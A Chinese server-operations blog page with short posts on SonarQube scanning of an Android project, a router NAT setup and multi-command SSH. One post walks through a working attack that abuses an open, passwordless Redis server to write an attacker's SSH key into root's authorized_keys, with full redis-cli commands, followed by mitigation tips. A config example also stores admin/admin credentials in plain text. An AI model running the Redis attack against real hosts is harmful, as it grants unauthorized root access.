Rootop 服务器运维与web架构

2018-03-30
发表者 Venus
linux下sonar分析安卓代码已关闭评论

linux下sonar分析安卓代码

描述:
首先我这安卓项目是一个gradle项目,问开发类似于maven项目,可以直接用gradle打包。
而且不需要提前安装gradle,在代码中有配置下载gradle。
源码目录/gradle/wrapper/gradle/wrapper
#Mon Feb 05 11:27:19 CST 2018
distributionBase=GRADLE_USER_HOME
distributionPath=wrapper/dists
zipStoreBase=GRADLE_USER_HOME
zipStorePath=wrapper/dists
distributionUrl=https\://services.gradle.org/distributions/gradle-4.1-all.zip
可以看到gradle下载

# 安装java1.8 下载并解压… 过程略
配置java环境变量

[root@localhost ~]# vi /etc/profile
export JAVA_HOME=/usr/local/jdk
export PATH=$JAVA_HOME/bin:$PATH
export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar

保存退出。
做一个java软连接,android sdk会去/usr/bin/下找java命令

[root@localhost ~]# ln -s /usr/local/jdk/bin/java /usr/bin/java

# android sdk 安装、解压并配置环境变量 /etc/profile 解压略…
# sdk下载地址 http://tools.android-studio.org/index.php/sdk
# http://dl.google.com/android/android-sdk_r24.4.1-linux.tgz
# 配置环境变量

[root@localhost android-sdk-linux]# vi /etc/profile
export ANDROID_HOME=/usr/local/android-sdk-linux
export PATH=$ANDROID_HOME/tools:$PATH

生效

[root@localhost android-sdk-linux]# source /etc/profile

# 查看所有的sdk

[root@localhost ~]# android list sdk --all

# 更新 sdk

[root@localhost ~]# ./android update sdk --no-ui

会提示接受授权,按Y回车。开始更新。

# 配置安卓源码下的 build.gradle 文件加入sonar插件

// Top-level build file where you can add configuration options common to all sub-projects/modules.

buildscript {
 repositories {
 jcenter()
 }
 dependencies {
 classpath 'com.android.tools.build:gradle:2.2.3'
 classpath 'com.jakewharton:butterknife-gradle-plugin:8.4.0'
 // NOTE: Do not place your application dependencies here; they belong
 // in the individual module build.gradle files
 }
}

// 下面是新加的 位置必须在buildscript{}下 注意sonar版本,结尾补充。
plugins {
 id "org.sonarqube" version "2.4"
}

apply plugin: 'org.sonarqube'

sonarqube {
 properties {
 property "sonar.projectName", "aladinn-v3-android"
 property "sonar.projectKey", "aladinn-v3-android"
 }
}
// 上面是新加的

allprojects {
 repositories {
 jcenter()
 maven { url "https://jitpack.io" }
 maven { url "https://maven.google.com" }
 }
}

task clean(type: Delete) {
 delete rootProject.buildDir
}
ext {

 supportVersion = '26.0.2'
}

# 配置安卓源码下的 gradle.properties 加入sonar服务器的配置

systemProp.sonar.host.url=http://sonar.xxx.com
systemProp.sonar.login=admin
systemProp.sonar.password=admin

# 在安卓源码下创建 sonar-project.properties 配置文件

# projectKey、projectName修改成你的项目名称
sonar.projectKey=aladinn-v3-android
sonar.projectName=aladinn-v3-android
sonar.projectVersion=1.0
# src---------修改成你的源文件夹路径,多个路径逗号隔开
sonar.sourceEncoding=UTF-8
sonar.sources=app/src/main/java
sonar.java.source=app/src/main/java
# binDir--------修改成你的二进制文件夹路径
sonar.binaries=app/build/intermediates/classes
sonar.profile=Sonar and Android Lint way
sonar.java.binaries=app/build/intermediates/classes
sonar.android.lint.report=app/build/outputs/lint-results-release-fatal.xml

这样3个配置文件配置好了,开始分析

[root@localhost aladinn-v3-android]# ./gradlew sonarqube --stacktrace

报错:

Warning: License for package Android SDK Build-Tools 26.0.2 not accepted.

FAILURE: Build failed with an exception.

* What went wrong:
A problem occurred configuring project ':app'.
> You have not accepted the license agreements of the following SDK components:
 [Android SDK Build-Tools 26.0.2]

这里有可能没有26.0.2的sdk

[root@localhost aladinn-v3-android]# android list sdk --all | grep "26.0.2"
 9- Android SDK Build-tools, revision 26.0.2
可以看到序号是<strong>9</strong>,安装它。

[root@localhost aladinn-v3-android]# android update sdk -u -a -t 9
-u是在命令行运行,-a所有 -t过滤,可以指定安装序号。多个用逗号分隔

# 再次执行上面分析命令 –stacktrace为了输出更多错误信息,方便排错。

[root@localhost aladinn-v3-android]# ./gradlew sonarqube --stacktrace

又报错:
Warning: License for package Android SDK Build-Tools 25.0.2 not accepted.

FAILURE: Build failed with an exception.

* What went wrong:
A problem occurred configuring project ':app'.
> Could not resolve all dependencies for configuration ':app:_debugApk'.
 > A problem occurred configuring project ':autoLayoutLib'.
 > You have not accepted the license agreements of the following SDK components:
 [Android SDK Build-Tools 25.0.2].
 Before building your project, you need to accept the license agreements and complete the installation of the missing components using the Android Studio SDK Manager.
 Alternatively, to learn how to transfer the license agreements from one workstation to another, go to http://d.android.com/r/studio-ui/export-licenses.html

这次提示 25.0.2 版本,还是搜索,再安装它。

[root@localhost aladinn-v3-android]# android list sdk --all | grep "25.0.2"
 13- Android SDK Build-tools, revision 25.0.2
[root@localhost aladinn-v3-android]# android update sdk -u -a -t 13

# 再次执行上面分析命令

[root@localhost aladinn-v3-android]# ./gradlew sonarqube --stacktrace

然后可喜可贺的就出现 BUILD SUCCESSFUL 了。

sonar服务器中也出现了代码分析结果。

注意:
可能会遇到sonar服务器返回500的错误,原因可能出现在mysql的 max_allowed_packet= 参数上。
我这里直接配置参数为max_allowed_packet=100M
改完重启mysql,重启sonar服务器

关于注意sonar插件版本问题:
开始用2.2版本插件,分析失败,换2.6版本也提示失败。
2.6的报错为:
* Exception is:
java.lang.NoSuchMethodError: com.android.build.gradle.api.ApkVariant.getCompileClasspath(Ljava/lang/Object;)Lorg/gradle/api/file/FileCollection;

提示没有这个方法。怀疑是sonar版本问题,降为2.5还是不行,最后用2.4成功。
具体的gradle和sonar版本对应关系没找到。如果提示类似错误,可以更改版本试试。
支持的版本:https://jcenter.bintray.com/org/sonarsource/scanner/gradle/sonarqube-gradle-plugin/

2018-03-21
发表者 Venus
You must install a plugin that supports the language ‘Python’已关闭评论

You must install a plugin that supports the language ‘Python’

alading@venus-pc MINGW64 ~/Desktop/mail
$ /d/搜狗高速下载/sonar-scanner-3.0.3.778-windows/bin/sonar-scanner.bat
·
·
·
Caused by: You must install a plugin that supports the language ‘Python’
16:23:55.232 DEBUG: Execution getVersion
16:23:55.232 DEBUG: Execution stop

提示错误 You must install a plugin that supports the language ‘Python’,开始以为大小写问题,改成python也不行。
后来在sonarQube后台看到,配置 – 点 python ,有句话:Comma-separated list of suffixes of Python files to analyze.
意思是对指定后缀名的文件进行分析

然后在 sonar-project.properties 中修改:
sonar.language=py
再执行分析就好了。

2018-03-13
发表者 Venus
h3c路由配置回流 内网通过外网ip加端口访问内部服务已关闭评论

h3c路由配置回流 内网通过外网ip加端口访问内部服务

产品型号:MSR830-5BEI
Boot ROM版本:1.41
软件版本:7.1.064 Release 0605P05

# 进入系统视图下

<H3C>system-view
System View: return to User View with Ctrl+Z.

# 查看所有acl

[H3C]show acl all

# 基本acl(这里不用) 注意basic和advanced区别

[H3C]acl basic 2000

# 高级acl(此处用)

[H3C]acl advanced 3001
[H3C-acl-ipv4-adv-3001]rule 0 permit ip source 192.168.0.0 0.0.15.255 # 这里要用反掩码
[H3C-acl-ipv4-adv-3001]exit

[H3C]show acl all
Basic IPv4 ACL 2000, 0 rule,
ACL's step is 5

Advanced IPv4 ACL 3001, 1 rule,
ACL's step is 5
 rule 0 permit ip source 192.168.0.0 0.0.15.255

# 卸载掉acl 2000这条

[H3C]no acl basic 2000
[H3C]show acl all
Advanced IPv4 ACL 3001, 1 rule,
ACLs step is 5
 rule 0 permit ip source 192.168.0.0 0.0.15.255

# 查看当前所有vlan

[H3C]show vlan
 Total VLANs: 1
 The VLANs include:
 1(default)
[H3C]show vlan 1
 VLAN ID: 1
 VLAN type: Static
 Route interface: Configured
 IPv4 address: 192.168.1.1
 IPv4 subnet mask: 255.255.240.0
 Description: VLAN 0001
 Name: VLAN 0001
 Tagged ports: None
 Untagged ports:
 GigabitEthernet0/2 GigabitEthernet0/3
 GigabitEthernet0/4

# 进入vlan1

[H3C]interface Vlan-interface 1 # vlan1是我网关地址
[H3C-Vlan-interface1]nat server protocol tcp global 27.223.85.xxx 1025 inside 192.168.10.23 80 # 内网nat映射
[H3C-Vlan-interface1]nat outbound 3001 # 绑定acl 3001

# 卸载一条vlan中的nat映射

[H3C-Vlan-interface1]no nat server protocol tcp global 27.223.85.xxx 3333 # 后面的内网信息不用写

2018-03-09
发表者 Venus
利用Redis配置不当的漏洞对linux服务器root提权体验已关闭评论

利用Redis配置不当的漏洞对linux服务器root提权体验

文章来自:https://www.huangdc.com/443 修改并整理

redis安装后默认没有访问密码,但是默认监听在127.0.0.1地址,远程客户端无法远程访问。暂无法构成威胁。
如果监听在0.0.0.0的话,就可以利用下面“漏洞”了。

原理就是修改redis的持久化文件路径及数据文件实现秘钥连接。
有一个前提条件是 redis必须是用root用户启动的(才有权限往/root/.ssh写)。

# 运行ssh-keygen -t rsa生成秘钥 将公钥保存到另外一个文件 mypubkey.txt

[root@vm200-78 ~]# ssh-keygen -t rsa
[root@vm200-78 ~]# ll /root/.ssh/
总计 12
-rw------- 1 root root 1675 07-19 16:56 id_rsa
-rw-r--r-- 1 root root 405 07-19 16:56 id_rsa.pub
-rw-r--r-- 1 root root 1974 2015-11-18 known_hosts

# 加换行,目的是为了形成正确的秘钥文件格式 (据我所知应该是一行一个公钥)。

[root@vm200-78 ~]# (echo -e "\n";cat /root/.ssh/id_rsa.pub;echo -e "\n") > mypubkey.txt
[root@vm200-78 ~]# cat mypubkey.txt
ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvZGEjiEH+TlsvM+wctETOyF9A6QobMteoR47LYk6KFKwcHBvSdJs5UEp62Z9pZWpqaew8d8SV/d9FzhOrNilMXndpjZBDwQmq11MWforei4VPGF8UVUO4o4oleUkg3H7wGrXBQHEOLZnMCQSdql+Xe8eHUqXAMYoU+a6QPz1dEqF4/6r0n+f2QUMt+gTadg8ZiHTvyx5HI9ZCTuGJ8ulNG/qwd1KsOaJJgdFNq5OYg4izV1U6JnGju9yOFWNYtWrGUAAbH0Pv9ylmRq+4R2xdj5iEbXma2VTZsMl6XPx12ZXJCcdS4u8NJExTgCjMRvB01UyFva3pETdgNDOF5fM6Q== root@vm200-78.boyaa.com

# 在远程服务器 192.168.203.78 将公钥以key值的形式写入redis

[root@vm200-78 ~]# cat mypubkey.txt |redis-cli -h 192.168.203.224 -p 6379 -x set mypubkey
OK
[root@vm200-78 ~]# redis-cli -h 192.168.203.224 -p 6379
redis 192.168.203.224:6379> keys *
1) "mypubkey"
2) "huangdc"
redis 192.168.203.224:6379> get mypubkey
"\n\nssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvZGEjiEH+TlsvM+wctETOyF9A6QobMteoR47LYk6KFKwcHBvSdJs5UEp62Z9pZWpqaew8d8SV/d9FzhOrNilMXndpjZBDwQmq11MWforei4VPGF8UVUO4o4oleUkg3H7wGrXBQHEOLZnMCQSdql+Xe8eHUqXAMYoU+a6QPz1dEqF4/6r0n+f2QUMt+gTadg8ZiHTvyx5HI9ZCTuGJ8ulNG/qwd1KsOaJJgdFNq5OYg4izV1U6JnGju9yOFWNYtWrGUAAbH0Pv9ylmRq+4R2xdj5iEbXma2VTZsMl6XPx12ZXJCcdS4u8NJExTgCjMRvB01UyFva3pETdgNDOF5fM6Q== root@vm200-78.boyaa.com\n\n\n"

# 查看当前 redis数据存放目录

redis 192.168.203.224:6379> config get dir
1) "dir"
2) "/data/nosql/redis_6379"

# 修改 redis 数据存放目录

redis 192.168.203.224:6379> config set dir /root/.ssh/
OK

# 查看 redis 数据存放文件

redis 192.168.203.224:6379> config get dbfilename
1) "dbfilename"
2) "dump.rdb"

# 修改redis数据存放文件

redis 192.168.203.224:6379> config set dbfilename "authorized_keys"
OK

# 保存 key

redis 192.168.203.224:6379> save
OK

# 恢复原先redis配置

redis 192.168.203.224:6379> config set dir "/data/nosql/redis_6379"
OK
redis 192.168.203.224:6379> config set dbfilename "dump.rdb"
OK
redis 192.168.203.224:6379> save
OK

## 这样就把公钥写进目标主机的/root/.ssh下,并且名称为 authorized_keys,这样就完成了远程无密码访问了

防范方法:
1、根据需求绑定127.0.0.1或者0.0.0.0
2、redis加密码访问
3、普通用户启动redis
4、修改默认redis端口,防止批量扫描

2018-03-07
发表者 Venus
ssh远程登陆执行多条命令已关闭评论

ssh远程登陆执行多条命令

ssh登陆到远程主机,要执行多条命令。

2种方法实现:
1、通过分号分隔 (;) ssh root@192.168.10.14 “ls; df -h” 注意有双引号
2、通过 ssh root@192.168.10.14 << remote_command
命令1
命令2
命令3
exit
remote_command

remote_command 之间的命令就会在远程主机上依次执行。

不过这样执行时候会有个提示,Pseudo-terminal will not be allocated because stdin is not a terminal. 伪终端的问题。
可以加个 -q 参数,静默执行
ssh -q root@192.168.10.14